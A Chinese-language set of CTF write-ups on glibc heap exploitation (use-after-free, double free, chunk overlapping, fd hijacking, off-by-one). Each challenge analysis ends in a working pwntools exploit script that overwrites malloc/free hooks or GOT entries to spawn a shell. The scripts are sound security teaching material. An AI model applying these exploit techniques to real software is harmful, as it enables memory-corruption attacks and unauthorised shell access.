heap_Easy_Uaf
题源:PolarD&N
考点:UAF漏洞(use after free)
源码
程序是一个菜单,可以实现add,dele,edit,puts 堆块内容等的功能。(堆块编号从0开始)
注意到一个存在backdoor的逻辑功能如下:
分析
分析得到 :system函数执行的条件 ----> 堆块a 中前四个字节数据为 Flag。
注意到一开始就申请了堆块 a 并赋值,然后立即销毁。但是没有销毁指针,指针 a 依然指向第一次申请的内存块。
由于堆块被释放后会成为 unsorted bin 或 fastbin**,再次申请一个内存大小与 a 差不多(不大于a)的堆块时,堆块 a 会直接被拿来使用 ,此时由于指针 a,b 指向同一个堆块**,向b堆块写入数据,也就是向a堆块写入数据,在后面对堆块a的内容进行验证时候满足shell执行条件。
exp
略…
pwn141(UAF)
题源:ctfshow–pwn141 (溯源:某比赛真题改编,原题目考点:64位UAF + libc3,并且有函数混淆, 需要重命名。)
考点:32位UAF
参考讲解:第二道真题
源码
- add模块
note_1和note_2分别存放两个指针:*print_note_content 和 malloc --> data 的指针。
malloc堆块一:note长度为0x8,note_1与note_2各占据一个字节。
malloc堆块二:根据size确定为data分配堆块大小。
- note_1指向地址的函数
- show模块
- dele模块
这里在将主函数下的堆块释放时候,由于没有销毁堆块指针,因此free函数执行后,堆块指针不会随之销毁,造成UAF漏洞。
依次将 note_2指向的data堆块 与 note堆块 释放。
键入“\”使得IDA隐藏/显示指针类型。
解释:
DWORD:双字(0x2 = 2 * 0x1)(32位)
¬elist + v1 :note(v1)的第一部分
(¬elist + v1)+ 4:note(v1)的第二部分 -----> note堆块总长度为0x8(4*0x2)
- 发现程序存在后门函数 system(cat /flag); 地址:0x8049684
分析
add之后的堆块结构如下:
dele释放note之后fastbins内容:
思路:想办法将指针note_1与note_2指向同一个位置,利用note_2的写入功能将后门函数地址写入,然后利用show模块功能调用note_1指向的地址函数(即后门system),获取到flag。
Step1:先申请两次堆块,然后依次释放。
Step2:再申请一个大小为0x8note,填写data为后门函数地址。
第三次申请的data填写数据时候,会从0x0开始,也就是note_1部分,此时即可修改控制字段。
**Step3:**调用程序的show功能,将note_1的内容打印。此时就会跳转执行后门函数。
[溯源]
**()Step2:**第三次申请堆块,填写data为puts_got地址。
()**Step3:**调用show功能泄漏puts函数地址并接收,计算出system函数地址。
(*)**Step4:释放堆块后再把该堆块申请回来,**填写 data为 :system函数地址 + ||sh。
控制字段:system
数据段:||sh
解释:system的参数指向note整体,形 如: system(system_address || sh)
system参数为地址时候,命令无效,加上 || 实现执行shell。
exp
......
malloc(0x20,b'aaaa') # malloc(data--size,content)
malloc(0x20,b'bbbb') #堆块序号从0开始,注意替换
free(0) #free(index) # free(1)
free(1) # free(2)
malloc(0x8,p32(0x8049684))
printf(0) # 该index与释放顺序有关
io.interactive()
PolarD&N–like_it 与pwn141雷同,就不写了。
heap_Double_Free
题源:PolarD&N–heap_Double_Free(简单)
考点:fastbin–双重释放任意地址写
难点:malloc 构造的fake_heap时候申请堆块大小 —> 绕过fastbin检查到chunk_size不一致导致申请失败。
源码
常规菜单题目,注意到 bss段 unk_6010A8 = 113(0x71)。退出程序会验证是否满足shell,否则正常退出。
分析
已知:存在双重释放漏洞
目的:满足shell执行条件。(使得 unk_6010B0 = 0x101)
方法:利用** double free 修改一个堆块的 fd 指针为改写地址(伪造fake_heap),再次malloc向目标地址申请堆块并修改数据。
流程:首先malloc两次**(或三次,heap_3隔绝top chunk,fastbins通常不合并,本题不需要**)**,然后依次释放1,2,1使得进入fastbin。(见下表)
free(1,2,1) | fastbin_1 | -------> | heap_1 | -------> | heap_2 | -----> | heap_1 |
---|---|---|---|---|---|---|---|
取出heap_1篡改fd指针 | |||||||
malloc(1) | fastbin_1 | -------> | heap_2 | -------> | heap_1 | ||
edit–>heap_1_fd | fastbin_1 | -------> | heap_2 | -------> | heap_1 | -------> | addr |
** 依次malloc将目标地址取出来** | |||||||
malloc(2) | fastbin_1 | -------> | heap_1 | -------> | addr | ||
malloc(1) | fastbin_1 | -------> | addr | ||||
malloc(addr) | fastbin_1 | ||||||
修改目标地址数据 | |||||||
edit(addr) |
Tip1:edit_fd指针
由于修改数据时候会先接触到 fd 部分,然后才是data区域,因此malloc之后的edit可以修改heap_1的fd指针为任意地址,指向下一个malloc的堆块。
Tip2:size(addr)
heap块起始位置存在size字段,而bss段中目标修改地址前面8字节数据为0x71,由于向该地址malloc堆块的时候,fastbin的 bin 链会检查 size 是否符合当前 idx,异常则会报错退出。
通过查看目标地址的“size”得到0x71,因此需要保证所修改的 chunk 处于 fastbins 的 0x70 链上。
** malloc(x)若 申请到 idx==0x70,则:**
【x+0xF+0x10 异或 0xF == 0x70】(0x60<= x <= 0x68)
未使用的fastbin堆块结构,使用中的没有fd指针。
exp
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF('./df')
io = process('./df')
#io = remote('120.46.59.242',2051)
def malloc(id,size,context):
io.sendlineafter(b'root@ubuntu:~/Desktop$ ',b'1')
io.sendlineafter(b':\n',str(id))
io.sendline(str(size))
io.sendlineafter(b':\n',context)
def free(id):
io.sendlineafter(b'root@ubuntu:~/Desktop$ ',b'2')
io.sendlineafter(b'id :\n',str(id))
def exit():
io.sendlineafter(b'/Desktop$ ',b'4')
malloc(0,0x68,b'a'*10) # malloc的size必须大于等于 0x60 小于 113(0x71)
malloc(1,0x68,b'a'*10)
#malloc(2,0x68,b'a'*10) # 可有可无,有时候chunk2用来隔绝top_chunk,以免发生合并
free(0)
free(1)
free(0)
addr = 0x6010A0
malloc(3,0x68,p64(addr))
malloc(4,0x68,p64(0x101))
malloc(5,0x68,p64(0x101))
malloc(6,0x68,p64(0x101))
exit()
io.interactive()
overlapping + unsortedbin_attack
题源:PolarD&N–Emo_chunk
考点:chunk_overlapping + unsortedbins_leak_malloc_hook
源码
菜单功能:add,delete,edit,print,exit。并且存在后门函数。
分析
主要思路:
首先malloc一些chunk,然后利用 edit 功能的堆溢出漏洞 ---->覆盖下一个chunk的size足够大,然后释放使得进入 unsortedbins,然后再次 malloc 一个较小的chunk(会从unsortedbins切割出来)。由于发现从 unsortedbins(small,large有关也一样) 获得的 chunk 没有清空原来指向 main_arena区域 的指针,并且可以利用 print 功能打印出来该地址。通过调试泄露出来的 addr 与 __malloc_hook 的偏移(是固定的)得到__malloc_hook 的地址。
然后从 剩下的 unsortedbins 分割出一个较小的 chunk(或者直接使用剩余的chunk),接着把它释放使得进入 fastbins,edit 第一次从 unsortedbins 的 chunk ,利用堆溢出修改 第二次 分割出来进入 fastbins 的 chunk 的fd指针为 __malloc_hook 附近上方一个地址,【这里的 addr 需要满足 size 位置与所在 fastbins链的 idx 一致,以便绕过 size 的检查,通常是 __malloc_hook - 0x23,该地址数据通常为 0x7f(借位 原数据0x7fxxxxxxxxxx 得到),利用fastbins分配机制进入 0x70 链表】然后回收该 chunk,再次申请一个 chunk。接下来将会从目标地址申请一个 chunk,利用 edit 将数据填充到 __malloc_hook 。
最后将 addr(__malloc_hoook) 的数据修改为 后门函数地址。(或者one_gadget,shellcode地址等)
【通常__malloc_hook地址的data为0,如果存在函数地址,在进行 malloc时候 就会跳转执行该函数,否则进入 malloc分配算法下一步,___free_hook 也是同理。】
- exp图解:
- 调试过程部分截图参考:
- __malloc_hook 地址在 main_arena 上面 0x10 字节位置
- 官方wp的构造payload.
- __malloc_hook地址正常情况为零
- me思路,直接将__malloc_hook填充为shell地址.
- 验证__malloc_hook只占据8字节,__malloc_hook+8地址填充shell无效.
exp
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
magic = 0x400946
#io = process('./overlap')
io = remote('120.46.59.242',2124)
elf =ELF('./overlap')
def malloc(size):
io.sendlineafter(b'Choice!\n',b'1')
io.sendlineafter(b'Size:\n',str(size))
def free(id):
io.sendlineafter(b'Choice!\n',b'2')
io.sendlineafter(b'index:',str(id))
def edit(id,content):
io.sendlineafter(b'Choice!\n',b'3')
io.sendlineafter(b'index:\n',str(id))
io.sendafter(b'Change EMo Content\n',content)
def printf(id):
io.sendlineafter(b'Choice!\n',b'4')
io.sendlineafter(b'index:\n',str(id))
malloc(0x60) # malloc(0)
malloc(0x60) #malloc(1)
malloc(0x60) #malloc(2)
malloc(0x60) #malloc(3)
edit(0,b'aaaaaaaa'*13+p64(0xe1)) # unsorted_size = 0xe1
free(1)
malloc(0x60) #malloc(1)
#剩余unsorted_size = 0x70,被切割,但是chunk_1原指针(指向内存区域)未被清除,可以用来泄露。
printf(1)
add = u64(io.recv(6).ljust(8,b'\x00')) # main_arena+88
main_arena = add - 0x58 - 0xd0 #
malloc_hook = main_arena - 0x10
print(hex(main_arena))
print(hex(malloc_hook))
free(2)
edit(1,b'aaaaaaaa'*13+b'\x71'+b'\x00'*7+p64(malloc_hook-0x23))
#将chunk_2进入fastbin后的fd指针修改为 malloc_hook-0x23
malloc(0x60) # malloc_2
malloc(0x60) # malloc_hook 4
edit(4,b'aaaaaaaa'*2+b'aaa'+p64(magic))
malloc(0x28) # 5 shell
io.interactive()
......
malloc(0x68) # malloc(0)
malloc(0x68) #malloc(1)
malloc(0x68) #malloc(2)
malloc(0x68) #malloc(3)
malloc(0x68) # malloc(4)
malloc(0x68) # malloc(5)
edit(0,b'aaaaaaaa'*13+b'\xe1'+b'\x00'*7)
free(1)
malloc(0x68) #malloc(1')
printf(2)
base = u64(io.recv(6).ljust(8,b'\x00')) - 0x3c4b20 - 0x58
# main_arena+88 - offset = libc_base
libc = elf.libc
malloc_hook = base + libc.sym['__malloc_hook']
realloc = base + libc.sym['realloc']
one = 0xaaaa
one_gadget = base + one
free(4)
edit(3,b'aaaaaaaa'*13+b'\x71'+b'\x00'*7+p64(malloc_hook-0x23))
malloc(0x68) # malloc 4'
malloc(0x68) # malloc 6
edit(6,b'a'*(0x23-0x10)+p64(magic)) # 自修改
# edit(6,b'a'*(0x23-0x10-0x8)+p64(one_gadget)+p64(realloc)) # 官方wp
malloc(0x68)
io.interactive()
fd–hijack
题源:PolarD&N–worker
考点:篡改 fd / bk 导致 unsortedbins 或 fastbins 任意地址写
源码
常规菜单题目,主函数存在触发shell的条件。
free 函数对 UAF 和 df 采取了防御,不能突破。
edit 函数存在漏洞,可以控制写入字节,造成 overlapping 攻击。
分析
方法一:fastbins_attack
首先申请几个堆块,然后将下面一个堆块释放,对该堆块物理地址相邻的上一个chunk利用堆溢出覆盖fastbins中的chunk的fd指针,通过两次malloc到达目标地址,接着进行改写数据,最后在菜单界面利用index触发shell函数。
Tips:写入字节数问题。
这里要注意上一个chunk的fd指针指向下一个chunk的pre_size部分,而data是从本chunk的fd指针位置写入的,如下图:
方法二:unsortedbins_attack
(待定…)
exp
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
io = process('./worker')
#io = remote('120.46.59.242',2075)
elf =ELF('./worker')
def malloc(size,content):
io.sendlineafter(b'Your choice :\n',b'1')
io.sendafter(b'Size of work:',str(size))
io.sendafter(b'Content of work:',content)
def free(id):
io.sendlineafter(b'Your choice :\n',b'3')
io.sendafter(b'Index :',str(id))
def edit(id,read_size,content):
io.sendlineafter(b'Your choice :\n',b'2')
io.sendafter(b'Index :',str(id))
io.sendafter(b'Size of work :',str(read_size))
io.sendafter(b'Content of work :',content)
def pwn():
io.sendlineafter(b'Your choice :\n',b'1285')
malloc(0x60,b'a') # malloc(0)
malloc(0x60,b'a') #malloc(1)
free(1)
fd = 0x6020ad # 或者 0x60209d ---> 0x13*b'a'+p64(0x505)
edit(0,0x100,b'aaaaaaaa'*13+p64(0x71)+p64(fd))
malloc(0x60,p64(fd)) # 任意数据均可
malloc(0x60,b'a'*(0x3)+p64(0x505)) # b'0x505' = 0x30 89 35 35
pwn()
io.interactive()
pwn142(off by one)
题源:ctfshow–pwn142
考点:off by one
源码
- add部分如下
首先会申请note控制字段的chunk,大小为0x21。
tips:这里申请chunk时候输入的size == 后续可写入字节 - 1,与实际chunk大小无关。
每个note简化为下图模式:
- free部分源码
- edit
- show
分析
思路一:修改 free_got 为system函数地址,chunk内容为 b’/bin/sh\x00’ 开头即可,利用 free(id) 操作获取 shell。
Step1. 申请两个note,(需要满足data的chunk大小为0x21),将第一个note的data填充 b’/bin/sh\x00’ ,接着继续填充 利用 edit 一字节溢出 修改 下一个note的控制chunk size字段,这里以0x41为例。
【由于程序的malloc顺序问题,易知 note_2 的控制chunk在物理地址 紧接着 note_1 的data部分chunk】。
Step2. 将 note_2 释放,由于释放 note_2 的时候 0x21 的控制chunk 被修改为 size:0x41,而data部分的chunk–> size == 0x21【位于控制字段物理地址下面】,因此进入fastbins后会进入不同的 bin 链。
然后再次申请 note,使得 data 刚好获取 0x41 大小的chunk。此时 原先 的控制 chunk 就会被拿出来当作data段chunk,原先data段chunk则被当作 控制chunk,此时该note_2结构如下:【出现两部分共用一个chunk】
而又因为data段chunk大小为0x41,因此edit时候可以做到完全控制 控制chunk的内容。
Step3. 因为control部分chunk包含data大小size字段和指向data的指针,并且show会打印出该指针指向的 地址内容,因此利用edit将控制chunk的指针修改为 free_got 地址,即可利用 show 获取到 free_addr,进而得到system函数地址。
Step4. 因为edit会向指针指向的addr覆写数据,在上一步中已经将该指针修改到了 free_got 地址,直接对该chunk进行edit,写入system函数地址,即可将 free_got 篡改为 system 函数地址。
Step5. 最后释放chunk_1,此时会调用 free_got 地址的函数,即system。然后由于chunk_1的data段先被释放,其内容就会作为system函数的参数,进而获取shell。
或者其他思路…
exp
#glibc远程版本 2.27,本地 2.23
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
io = process('./pwn')
#io = remote('pwn.challenge.ctf.show',28103)
elf =ELF('./pwn')
free_got = elf.got['free']
......
malloc(0x18,b'a') # malloc(0) # 0x21
malloc(0x18,b'a') #malloc(1)
edit(0,b'/bin/sh\x00'+b'a'*0x10+p64(0x41))
free(1)
malloc(0x30,b'a'*0x18+p64(0x21)+p64(0x30)+ p64(free_got))
printf(1)
free_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(free_addr))
libc = elf.libc
# ELF('/home/kali-2/桌面/how2heap/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc.so.6')
libc_base = free_addr - libc.sym['free']
sys = libc_base + libc.sym['system']
print(hex(sys))
'''
gdb.attach(io)
pause()
'''
edit(1,p64(sys))
free(0)
io.interactive()
uaf
题源:[NewStarCTF 2023 公开赛道-week4] ezheap
考点:UAF + mmap 映射
源码
源码就不放了,主要逻辑如下图:
相对而言(不考虑多个指针指向同一个chunk时候):note指向data的指针 和 data部分的chunk 都不会被释放,note 从bins被取出来会更新该指针指向地址。
注意一下,当调用 edit 功能时候会先进行验证,如果不通过就无法修改内容。
free 掉一个 note 之后,会进入 tcachebins 链表,并且只会清除该 note 的 size 段内容,指向data 的指针被保留。
分析
首先先了解到:当malloc的chunk过大时候,如果使用了mmap范围的大小,会申请到Libc附近,这时候打印,就泄露了Libc。
调试得到:该 chunk 不会归入 heap 部分,也不会参与正常chunk的取回与回收入bins过程,只是作为一个可写地址保存data内容,
vmmap部分调试截图:
payload详细流程参见exp注释。
exp
#flag{da81e664-52b3-4553-90e2-31a6f5086ba7}
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
io = process('./uaf')
#io = remote('node5.buuoj.cn',27066)
elf =ELF('./uaf')
libc = elf.libc # ELF('./libc.so.6')
......
# note = malloc(0x20) # 0x30 +8,+16, == 0 ,+24 == str
malloc(0,0x20,b'a')
malloc(1,0x40000,b'a') # note_1 的 note部分 会记录 mmap映射到的地址
malloc(2,0x20,b'a')
malloc(3,0x20,b'a')
free(1)
free(2) # tcachebins 【LIFO】
malloc(4,0x20,b'a'*8*3)
# note_4 的 note 和 data 分别是 note_2 和 note_1的 note部分
show(4)
# 亦即 note_4 的 data chunk 包含着 vmmap 映射的地址,接着利用show进行泄露。
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x10 + 0x41000
#调试计算偏移得到基地址。
print(hex(libc_base))
free_hook = libc.sym['__free_hook'] + libc_base
sys = libc.sym['system'] + libc_base
edit(4,p64(0x40000)+p64(0)*2+p64(free_hook))
# 由于 data_4 就是 note_1_note ,在对 note_1 进行编辑之前需要恢复size绕过检查
# 接着覆盖 note_1 的 note 部分data指针为 free_hook【该部分数据正常情况为0】
edit(1,p64(sys))
# 利用 edit 向 free_hook 地址 写入 system 函数地址,在 free chunk 的时候触发函数
edit(4,b'/bin/sh\x00'+p64(0)*2+p64(free_hook))
# 这里填充 p64(free_hook) 与 p64(0) 效果一样
# 由于只有 note 部分可以释放,因此利用 edit(4) 修改 note_1 的 note部分 内容
free(1)
# 释放 note_1 的 note部分,触发shell执行。
io.interactive()